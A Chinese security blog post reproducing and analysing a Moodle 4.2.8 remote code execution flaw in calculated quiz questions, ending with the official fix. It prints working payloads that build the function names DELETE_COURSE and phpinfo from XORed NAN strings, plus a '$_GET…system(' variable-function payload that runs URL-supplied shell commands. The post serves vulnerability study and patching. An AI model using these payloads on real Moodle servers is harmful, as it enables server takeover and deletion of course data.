ZAC安全
#2024#
今年遇到了很多漏洞,但都没有太大兴趣。这两天看到moodle爆出了一个RCE,一是因为原学校用的就是这套框架,二是利用手法比较有趣,遂简单分析一手。
原链接: https://blog.redteam-pentesting.de/2024/moodle-rce/
01
漏洞复现
官网下载moodle4.2.8版本
https://git.moodle.org/gw?p=moodle.git;a=snapshot;h=2d41ac46f45d49872db03db14ea3cfda1152c62c;sf=tgz
访问主页安装
正式开始漏洞复现:
Home->Available courses-> Add a new course 进行添加一个课程
将页面往下拉,找到Course format
将topics format 改成 single activity format(在moodle框架中topics format相当于是一个主题论坛的课程,而我们复现需要用到测验题,所以需要更改课程类型)
然后将type of activity改成quiz类型
Save即可看到课程生成完成
点击class1,写个Name即可,剩下的按默认格式
Class1->Activity->Add question->Add->a new question
我们选择Calculated
然后我们新建一个问题,其中的question test是我们的问题,这套系统中的{}是用来括变量的,中间的a相当于通配符
答案设置成a ,grade是百分百 进行保存
这三个空写上我们想删除的课程id,第一次默认创建的课程id都是2,后续创建的课程id依次递增
点击add
然后就可以save了
跳转回来,我们在点击test1,进行二次编辑
将答案改成
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}
然后保存,会发现有个报错,不用管,忽略即可
回到主页,点击class1->preview quiz
发现课程已经被删除
而RCE的方式与上面几乎相同,用作者给的脚本跑一下payload
((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0)){a}
该RCE只能使用phpinfo,DELETE_COURSE这种单参数的函数,利用受限
进阶方式如下,question text中设置为{b}
打入payload
$_GET[chr(97)])} {system(
保存进行下一步,f12,将所有payload变量设置为0
点击next pages,会发现报错
Exception - system(): Argument #1 ($command) cannot be empty
我们直接url打入命令即可成功完成RCE
原作者给的验证脚本是substitute_variables_and_eval
在源码中找到该函数进行跟踪分析,我们可以看到字符串过了一个substitute_variables和qtype_calculated_find_formula_errors两个部分就直接拼进eval了
而该函数调用的位置也比较明显,在calculate函数中,而在经过这几个函数过滤后直接放进了calculate_raw中的eval函数中
那么我们一起来分析下这些过滤语句都是什么,先进入qtype_calculated_find_formula_errors
一点点走,首先过滤了注释符号和php的<??>
[‘//’, ‘/*’, ‘#’, ‘<?’, ‘?>’]
然后是将所有变量都被替换为数字1.0,这里我们可以看上面的PLACEHODLER_REGEX定义。假设公式是 “{a} + {b} * {c}”,那么正则表达式会匹配 {a}, {b} 和 {c},并将它们替换为 ‘1.0’,得到的结果是:”1.0 + 1.0 * 1.0”
这段理解较为简单,将公式中的所有字符转为小写并移除空格,然后 设置允许的操作符,例如加减乘除等常用的数学符号
然后进行正则表达式,判断函数格式以及参数,然后方便进行下一步的判断,比如pi这种无参数函数,如果给他参数就会报错。还有单参数或多参数的函数判断
通过这些后进行一次正则替换,将函数调用变成1.0,例如以下示例
"3 + sin(30) * max(10, 20)"
就会被替换成
"3 + 1.0 * 1.0"
最后再确定是否有非法字符,然后return,这就是qtype_calculated_find_formula_errors函数的完整逻辑
那么如何通过以上这些操作符和数字我们创建出一个函数名呢?
这里我们需要了解一下php中的三角函数,对于acos和asin这种反函数来说未定义的值会输出double类型的NAN
而通过php的点号连接符,我们可以将这两个变量变成一个字符串类型的NANNAN
但是,通过刚刚验证代码的逻辑,我们可以知道在公式调用中是无法单独使用acos(2).acos(2)的,因为其中没有操作符,两个函数拼不到一起(此时的点号无法作为小数点)
所以稍稍将这段进行一个变种
acos(2) . 0+acos(2)
在意思不变的情况下,此时就可以通过逻辑代码的验证
现在我们拥有了NA这两个字符,那么如何将这个字符变成我们想要调用的函数呢?
答案是:异或
逻辑很简单,ab相同为0,不同为1
好,用一段简单的代码
echo (acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1);
可以生成O@O,两个字母O和一个@符号
众所周知,在计算机中每个字母和符号都会有一个ASCII码对应,而每一个ASCII码都可以转化为二进制数字。我们就是通过异或最终的二进制数字去转成任何我们想要的字符串
比如这个案例
N :ASCII: 78 二进制:01001110
0 :ASCII: 48 二进制:00110000
1 :ASCII: 49 二进制:00110001
先将N和0进行异或,然后再与1进行异或。最终异或结果为01001111 对应为ASCII 79 大写字母O
而这里要引入一个概念,我们知道正数的二进制高位一般是0,例如5的二进制是00000101,但是我们可以利用负数补码进行高位的异或,例如-5的二进制数为11111011,这样通过各种异或,我们可以制造出任何想要的字符串
例如我们测试用的字符串phpinfo
echo(((acos(2) . 0+acos(2) . 0+acos(2)) ^ (2 . 1 . 1 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . 0 . 0 . 0) ^ (0 . 0 . -4 . 8 . 8 . 1) ^ (-8 . 2 . 3 . 7 . 0 . 0)))
而这时我们还需要一剂良药,也就是变量函数的特性,比如在python当中我们可以使用如下代码打印1
但无法直接将’PRINTF’这串字符作为一个函数来进行调用。而PHP刚好可以,以下两种用法结果完全一样
好了,以上前置知识了解完,我们继续回头分析qtype_calculated_find_formula_errors
目前我们可以通过反三角函数以及编码的特性来制作出一个我们想要的字符串,但是光一个字符串phpinfo是无法进行函数调用的,我们至少还需要一个括号phpinfo()进行执行
此时我们的解析的字符在433 return回来,紧接着进入到436行中的substitute_values_for_eval 进行解析
我们跟进这个函数,发现将$expression 中的所有 $this->search 值替换为 $this->safevalue
根据注释和代码我们可知
当变量 a 被设置为 1 时,{a} 将被替换为 (1)。因此,如果我们在上面的表达式中添加 {a},对应于 ‘PRINTF’,结果将变为 ‘PRINTF'(1)
而最终逃出单参数限制的RCE也是利用了php的特性
https://www.php.net/manual/en/language.variables.variable.php
而通过这种方式我们可以将危险函数作为变量传入(在moodle中花括号里包裹变量)
$_GET[chr(97)])} {system(
我们可以拿作者原脚本进行debug查看
将formula传入验证
由于 -> 并不是限制的非法字符,它在该验证函数中并不会被识别为问题。这里正则匹配的规则是 {[字母开头的合法占位符名称]},并没有限定开头后的其他字符除了 >, },所以顺利通过
可以看到,因为没有匹配到指定数学函数直接进行了break,然后通过验证return false
最后直接进入eval进行调用
最终官方的修复也比较简单
https://git.moodle.org/gw?p=moodle.git;a=commitdiff;h=622ee0920925e719d3e0f1215d90b813afd00ca5
将正则加了限制,只允许字母,数字,连字符,下划线和空格。箭头括号等特殊符号不在被允许。
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入!
原文始发于微信公众号(ZAC安全):moodleRCE 独特的bypass思路